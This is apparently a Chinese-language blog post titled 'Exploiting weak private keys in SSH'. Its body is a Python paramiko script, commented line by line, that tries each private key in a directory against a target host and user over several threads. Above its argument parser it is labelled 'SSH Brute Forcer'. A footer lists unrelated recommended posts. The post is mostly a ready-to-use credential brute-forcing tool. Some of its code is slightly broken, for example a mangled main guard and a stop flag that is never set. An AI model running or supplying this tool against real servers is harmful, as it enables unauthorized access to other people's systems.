利用SSH中的弱私钥

import paramiko

import argparse

import os

from threading import Thread, BoundedSemaphore

设置最大连接数

maxConnections = 5

创建一个有界信号量,用于控制同时进行的连接数

connection_lock = BoundedSemaphore(value=maxConnections)

用于控制是否停止所有线程的全局变量

Stop = False

用于记录失败连接次数的全局变量

Fails = 0

def connect(user, host, keyfile, release):

global Stop

global Fails

try:

创建SSH客户端实例

client = paramiko.SSHClient()

设置SSH客户端自动添加主机密钥

client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

尝试使用提供的密钥文件连接到SSH服务器

client.connect(hostname=host, username=user, key_filename=keyfile)

如果连接成功,打印成功信息

print(f"[+] Success with key: {keyfile}")

except paramiko.AuthenticationException:

如果认证失败,打印认证失败信息

print(f"[-] Authentication failed, please verify the key: {keyfile}")

except paramiko.SSHException as e:

如果发生SSH异常,打印错误信息并增加失败次数

print(f"[-] SSH error: {e}")

Fails += 1

except Exception as e:

如果发生其他异常,打印错误信息

print(f"[-] Error: {e}")

finally:

如果release为True,则释放信号量

if release:

connection_lock.release()

如果客户端存在,则关闭客户端连接

if client:

client.close()

def main():

创建命令行参数解析器

parser = argparse.ArgumentParser(description='SSH Brute Forcer')

添加命令行参数:目标主机

parser.add_argument('-H', '--host', required=True, help='specify target host')

添加命令行参数:密钥文件目录

parser.add_argument('-d', '--directory', required=True, help='specify directory with keys')

添加命令行参数:用户名

parser.add_argument('-u', '--user', required=True, help='specify the user')

解析命令行参数

args = parser.parse_args()

获取命令行参数的值

host = args.host

passDir = args.directory

user = args.user

如果缺少必要的参数,则打印帮助信息并退出

if not host or not passDir or not user:

parser.print_help()

exit(0)

遍历密钥文件目录中的所有文件

for filename in os.listdir(passDir):

如果已经找到正确的密钥,则退出程序

if Stop:

print('[*] Exiting: Key Found.')

exit(0)

如果失败次数超过限制,则打印警告信息并退出程序

if Fails > 5:

print('[!] Exiting: Too Many Connections Closed By Remote Host.')

print('[!] Adjust number of simultaneous threads.')

exit(0)

获取信号量,控制同时进行的连接数

connection_lock.acquire()

构造完整的密钥文件路径

fullpath = os.path.join(passDir, filename)

如果文件是公钥文件,则跳过

if filename.endswith('.pub'):

print(f'[-] Skipping public key file: {fullpath}')

connection_lock.release()

continue

打印正在测试的密钥文件

print(f'[-] Testing keyfile {fullpath}')

创建新线程来处理密钥文件的连接测试

t = Thread(target=connect, args=(user, host, fullpath, True))

启动线程

t.start()

if name == 'main':

如果直接运行该脚本,则执行main函数

main()

运行方法:

运行结果:

相关推荐
封步宇AIGC8 分钟前
量化交易系统开发-实时行情自动化交易-3.4.3.2.期货交易数据
人工智能·python·机器学习·数据挖掘
脸ル粉嘟嘟1 小时前
使用python-Spark使用的场景案例具体代码分析
大数据·hadoop·python
前端boy1 小时前
django解决跨域问题
后端·python·django
蓝博AI1 小时前
基于卷积神经网络的农作物病虫害识别与防治系统,vgg16,resnet,swintransformer,模型融合(pytorch框架,python代码)
pytorch·python·cnn
Want5952 小时前
Python绘制雪花
开发语言·python
jzwalliser2 小时前
Python 小高考篇(7)常用模板
python·高考
亚图跨际2 小时前
MATLAB和Python及R瑞利散射
python·matlab·r语言·光学·瑞利散射
Java开发-楠木2 小时前
爬取链家二手房房价数据存入mongodb并进行分析
大数据·hadoop·爬虫·python·mongodb·ubuntu·数据分析
smilejingwei3 小时前
数据分析编程:SQL,Python or SPL?
python·sql·数据分析·编程语言·spl·esproc spl